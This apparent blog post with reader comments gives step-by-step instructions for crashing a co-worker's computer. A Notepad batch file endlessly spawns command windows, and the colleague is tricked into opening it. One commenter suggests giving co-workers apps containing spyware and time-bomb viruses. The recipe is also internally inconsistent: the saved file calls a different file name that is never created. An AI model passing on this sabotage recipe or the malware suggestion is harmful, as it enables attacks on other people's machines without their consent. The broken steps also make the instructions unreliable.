How To Crash a Co-Workers Computer
5 easy steps to being the most hated colleague.
- Open notepad
- type “start crash.bat” -newline “close” (newline meaning pressing the enter button once)
- file> save as..name the file “open.bat”
- make colleague open the file
- Laugh.
Don’t do it on your own pentium 3 pc. If you insist, while its crashing press Ctrl-C.
Good luck, and please tender your resignation on Monday.
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about 4 years ago
Hahaha!! Does this actually work? Sorry, I don’t know peecees much. But if it does, I’m so gonna do it on my AE.
But thennnnn… WIll he lose all his files? Hmm..
about 4 years ago
ok i wanna try but i takot something happen to my com. I WILL DIE. hahahha. what happens eh?
about 4 years ago
gosh, this is just so wrong.
about 4 years ago
One other way is offer your co workers with good applications containing spywares and viruses. One good virus is time bounded virus which will strike the least you expect.
about 4 years ago
dang! i wanted to try it first but then again, my lappie’s my one true love. can’t bear to hurt her. haha..
about 4 years ago
ouh mai god!
*rub palms together and looking at abg mamal’s laptop*
mauahhahahahahahaah!!!!
about 4 years ago
argh!! u up there hakim!!
i noe u, baybeh!
about 4 years ago
its basically opens up an unlimited number of ms-dos prompt windows until your computer cannot take it and says “ok im shutting down!!”
i’ll try to get a video tutorial online soon.
about 4 years ago
u made a tutorial on how to crash someone’s com? LOL!